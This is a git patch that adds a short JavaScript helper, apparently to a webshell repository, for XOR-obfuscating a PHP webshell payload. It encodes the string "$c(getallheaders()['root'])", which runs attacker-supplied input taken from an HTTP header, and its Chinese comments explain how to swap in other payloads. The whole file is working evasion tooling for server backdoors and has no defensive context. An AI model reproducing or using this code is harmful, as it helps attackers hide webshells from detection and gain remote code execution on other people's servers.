From 9c35c31c1a6f2e7ef366063351603a5b5162a756 Mon Sep 17 00:00:00 2001
From: new <670357+tennc@users.noreply.github.com>
Date: Sat, 8 Apr 2023 19:30:28 +0800
Subject: [PATCH] Create 2023-04-08.js
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

2023-04-08.php 的密文 二次生成版本
---
 php/2023-04-08.js | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100644 php/2023-04-08.js

diff --git a/php/2023-04-08.js b/php/2023-04-08.js
new file mode 100644
index 0000000..eec9f21
--- /dev/null
+++ b/php/2023-04-08.js
@@ -0,0 +1,19 @@
+// 此代码为2023-04-08.php 里的二次生成密文版，只需要替换异或的第一部分字符串就好了
+// 感谢群友的无私奉献，我就直接拿来放到这里了
+
+function xorDecrypt(cipherText, key) {
+  let plainText = '';
+  for (let i = 0; i < cipherText.length; i++) {
+    let cipherCharCode = cipherText.charCodeAt(i);
+    let keyCharCode = key.charCodeAt(i % key.length);
+    let plainCharCode = cipherCharCode ^ keyCharCode;
+    plainText += String.fromCharCode(plainCharCode);
+  }
+  return plainText;
+}
+
+let cipherText = "$c(getallheaders()['root'])";
+// cipherText 可以修改起里面获取的内容
+let key = String.raw`t?~KI\OB)+8"X(A6K|{L5L&J]kf~`;
+let plainText = xorDecrypt(cipherText, key);
+console.log(plainText);